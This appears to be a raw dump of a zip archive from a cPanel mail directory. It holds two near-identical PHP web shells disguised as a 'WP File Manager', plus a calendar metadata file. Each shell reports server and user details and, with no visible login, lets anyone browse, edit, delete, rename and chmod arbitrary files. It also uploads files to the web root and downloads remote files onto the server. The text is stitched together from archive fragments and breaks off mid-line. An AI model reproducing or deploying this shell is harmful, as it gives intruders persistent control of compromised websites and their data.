'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëormir@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]xÙžBBgpt2@drsupernova.com/.metadatanu„[µü¤[calendar] displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. protected 1 type VCALENDAR [addressbook] type VADDRESSBOOK protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book PK“&{]„N9³§Ë§Ëgpt2@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', 